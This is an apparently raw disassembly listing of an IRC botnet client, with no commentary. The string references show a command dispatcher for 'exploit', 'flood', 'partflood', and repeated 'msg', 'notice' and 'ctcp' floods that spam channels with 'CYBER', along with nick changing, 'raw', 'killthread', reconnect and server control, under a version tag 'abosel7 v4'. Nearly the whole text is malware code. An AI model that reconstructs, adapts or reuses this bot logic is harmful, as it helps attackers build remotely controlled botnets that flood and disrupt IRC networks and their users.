; ---------------------------------------------------------------------------
loc_40471E: ; CODE XREF: sub_401ACD+1018j
; sub_401ACD+102Dj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40473E
push esi
call sub_41B779
test ax, ax
pop ecx
jz short loc_40473E
push esi
call sub_41B779
pop ecx
jmp short loc_404744
; ---------------------------------------------------------------------------
loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj
; sub_401ACD+2C66j
mov ax, word_429084
loc_404744: ; CODE XREF: sub_401ACD+2C6Fj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41B980
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B854
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409A72
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B0F6
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset byte_40E503
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404813
loc_4047FD: ; CODE XREF: sub_401ACD+2D44j
cmp [ebp+var_968], ebx
jnz loc_401E94
push 32h
nop
call near ptr 26703BBh
jmp short loc_4047FD
; ---------------------------------------------------------------------------
loc_404813: ; CODE XREF: sub_401ACD+2D2Ej
nop
call near ptr 2670D70h
push eax
push offset unk_42B814
jmp loc_402077
; ---------------------------------------------------------------------------
loc_404824: ; CODE XREF: sub_401ACD+FC4j
; sub_401ACD+FD9j ...
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40484C
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404856
loc_40484C: ; CODE XREF: sub_401ACD+2D66j
mov [ebp+var_A10], 1
loc_404856: ; CODE XREF: sub_401ACD+2D7Dj
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40489D
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40489D: ; CODE XREF: sub_401ACD+2DC9j
push eax
push offset dword_42B7E0
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_419E19
push ebx
push ebx
call near ptr 267042Eh
nop
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404911
loc_4048FB: ; CODE XREF: sub_401ACD+2E42j
cmp [ebp+var_A04], ebx
jnz loc_4083BC
push 32h
call near ptr 26703BBh
nop
jmp short loc_4048FB
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+2E2Cj
nop
call near ptr 2670D70h
push eax
push offset dword_42B7A4
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_404922: ; CODE XREF: sub_401ACD+F9Aj
; sub_401ACD+FAFj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A6AE
loc_404933: ; CODE XREF: sub_401ACD+2AB8j
; sub_401ACD+2ACEj ...
add esp, 0Ch
jmp loc_409854
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: sub_401ACD+F70j
; sub_401ACD+F85j
push offset unk_42B6F4
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_404945: ; CODE XREF: sub_401ACD+F46j
; sub_401ACD+F5Bj
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42B6E4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_404954: ; CODE XREF: sub_401ACD+F1Cj
; sub_401ACD+F31j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4049AE
push esi
call sub_41B779
cmp eax, ebx
pop ecx
jl short loc_4049A6
cmp eax, 3
jge short loc_4049A6
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40499E
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C9BC
push eax
call sub_41B886
add esp, 0Ch
mov [esi], bl
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_40499E: ; CODE XREF: sub_401ACD+2EB0j
push eax
push offset unk_42B6B8
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj
; sub_401ACD+2EA0j
push eax
push offset unk_42B68C
jmp short loc_4049EB
; ---------------------------------------------------------------------------
loc_4049AE: ; CODE XREF: sub_401ACD+2E90j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4049B3: ; CODE XREF: sub_401ACD+2F02j
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4049D6
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4049B3
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42C9BC
loc_4049EB: ; CODE XREF: sub_401ACD+2152j
; sub_401ACD+2ED7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
jmp loc_408288
; ---------------------------------------------------------------------------
loc_4049FC: ; CODE XREF: sub_401ACD+EF2j
; sub_401ACD+F07j
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4034A5
call sub_40B2BF
push ebx
call near ptr 77E75CB5h
nop
loc_404A22: ; CODE XREF: sub_401ACD+1A11j
push offset aGet ; "get"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404AB0
cmp dword_4CE728, ebx
jz short loc_404A4A
push offset dword_4CE108
loc_404A40: ; CODE XREF: sub_401ACD+2FE1j
push offset unk_42B650
jmp loc_404AE0
; ---------------------------------------------------------------------------
loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call near ptr 71AB157Eh
nop
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_E30]
push eax
jmp short loc_404A40
; ---------------------------------------------------------------------------
loc_404AB0: ; CODE XREF: sub_401ACD+2F64j
push esi
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404AC4
push offset unk_42B610
jmp short loc_404AE0
; ---------------------------------------------------------------------------
loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj
push offset dword_4CE108
call sub_41BEB0
pop ecx
mov dword_4CE728, 1
pop ecx
push esi
push offset unk_42B5E4
loc_404AE0: ; CODE XREF: sub_401ACD+2F78j
; sub_401ACD+2FF5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_4034FD
; ---------------------------------------------------------------------------
loc_404AF4: ; CODE XREF: sub_401ACD+19F9j
push edi
push offset aExploit ; "exploit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404BF7
mov eax, [ebp+var_4]
mov esi, offset aF ; "#f"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi
push edi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+arg_10]
push 10h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B5AC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset byte_40B8A1
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_404BE6
loc_404BD0: ; CODE XREF: sub_401ACD+3117j
cmp [ebp+var_13DC], ebx
jnz loc_40828B
push 32h
nop
call near ptr 26703BBh
jmp short loc_404BD0
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_401ACD+3101j
call near ptr 2670D70h
nop
push eax
push offset unk_42B56C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_404BF7: ; CODE XREF: sub_401ACD+3036j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aRin ; "rin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4097C0
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push edi
push offset aRinms ; "rinms"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409778
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41C070
mov edi, dword_427078
pop ecx
test eax, eax
pop ecx
jnz loc_4057DE
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41C070
add esp, 0Ch
test eax, eax
jnz short loc_404CFD
cmp [ebp+esi+var_80], ebx
jz short loc_404CFD
push [ebp+esi+var_80]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417A5F
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B504
push eax
call sub_41B886
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CFD
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_404CFD: ; CODE XREF: sub_401ACD+31B9j
; sub_401ACD+31BFj ...
push [ebp+arg_10]
push offset dword_42B500
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404D69
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D69
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404D69: ; CODE XREF: sub_401ACD+3241j
; sub_401ACD+324Cj
push [ebp+arg_10]
push offset dword_42B4E8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404DD5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DD5
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4D4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404DD5: ; CODE XREF: sub_401ACD+32ADj
; sub_401ACD+32B8j
push [ebp+arg_10]
push offset aNt ; "nt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404E41
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E41
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404E41: ; CODE XREF: sub_401ACD+3319j
; sub_401ACD+3324j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EAD
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404EAD
push offset asc_42CA2C ; " "
push offset dword_42B4FC
push eax
call sub_417EEE
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41BEB0
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404EAD: ; CODE XREF: sub_401ACD+3385j
; sub_401ACD+3390j
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404EEC
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404EEC
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404EEC: ; CODE XREF: sub_401ACD+33F1j
; sub_401ACD+33FCj
push [ebp+arg_10]
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F2B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F2B
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404F2B: ; CODE XREF: sub_401ACD+3430j
; sub_401ACD+343Bj
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404F6F
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F6F
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_404F6F: ; CODE XREF: sub_401ACD+346Fj
; sub_401ACD+347Aj
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_404FE8
cmp [ebp+esi+var_88], ebx
jz short loc_404FE8
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset dword_42B464
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_404FE8: ; CODE XREF: sub_401ACD+34B3j
; sub_401ACD+34BCj
push [ebp+arg_10]
push offset dword_42B450
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405135
cmp [ebp+esi+var_88], ebx
jz loc_405135
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber ; "CYBER"
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405135: ; CODE XREF: sub_401ACD+352Cj
; sub_401ACD+3539j
push [ebp+arg_10]
push offset dword_42B44C
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4051CF
cmp [ebp+esi+var_88], ebx
jz short loc_4051CF
call near ptr 2680CBAh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B424
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 24h
loc_4051CF: ; CODE XREF: sub_401ACD+3679j
; sub_401ACD+3686j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4052D1
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_4052D1
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi
lea eax, [ebp+var_4BC]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_4052D1: ; CODE XREF: sub_401ACD+3713j
; sub_401ACD+3722j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405318
lea eax, [ebp+var_1808]
push eax
call sub_417ADD
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_405318: ; CODE XREF: sub_401ACD+3815j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405407
cmp [ebp+esi+var_88], ebx
jz loc_405407
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B4EC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405407: ; CODE XREF: sub_401ACD+385Cj
; sub_401ACD+3869j
push [ebp+arg_10]
push offset aNotice_0 ; "notice"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4054F6
cmp [ebp+esi+var_88], ebx
jz loc_4054F6
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_4054F6: ; CODE XREF: sub_401ACD+394Bj
; sub_401ACD+3958j
push [ebp+arg_10]
push offset aCtcp ; "ctcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40560D
cmp [ebp+esi+var_88], ebx
jz loc_40560D
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B3DC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3C4
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3AC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B3AC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj
; sub_401ACD+3A47j
push [ebp+arg_10]
push offset aMix ; "mix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405733
cmp [ebp+esi+var_88], ebx
jz loc_405733
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B3DC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 10h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
call sub_41B8E2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405733: ; CODE XREF: sub_401ACD+3B51j
; sub_401ACD+3B5Ej
push [ebp+arg_10]
push offset aRegister ; "register"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405779
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405779
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_417788
add esp, 14h
loc_405779: ; CODE XREF: sub_401ACD+3C77j
; sub_401ACD+3C82j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4062C3
mov edi, offset dword_4D400C
loc_405795: ; CODE XREF: sub_401ACD+3CE7j
cmp dword ptr [edi-4], 1
jnz short loc_4057A8
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057A8
push eax
call dword_4CB00C
loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj
; sub_401ACD+3CD2j
add edi, 210h
cmp edi, offset dword_4DA72C
jl short loc_405795
cmp [ebp+var_8], ebx
jnz loc_4062C3
push ebx
push [ebp+var_4]
push offset unk_42B34C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4062C3
; ---------------------------------------------------------------------------
loc_4057DE: ; CODE XREF: sub_401ACD+3195j
mov edi, [ebp+arg_8]
push edi
push offset aNick_0 ; "nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aN ; "n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409758
push edi
push offset aJoin ; "join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aJ ; "j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409731
push edi
push offset aPart_0 ; "part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aPt ; "pt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409711
push edi
push offset aRaw ; "raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4096D5
push edi
push offset aKillthread ; "killthread"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aK ; "k"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4095D5
push edi
push offset aC_quit ; "c_quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_q ; "c_q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409527
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aC_rn ; "c_rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094D5
push edi
push offset aPrefix ; "prefix"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aPr ; "pr"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4094BC
push edi
push offset aOpen ; "open"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aO ; "o"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40948E
push edi
push offset aServer ; "server"
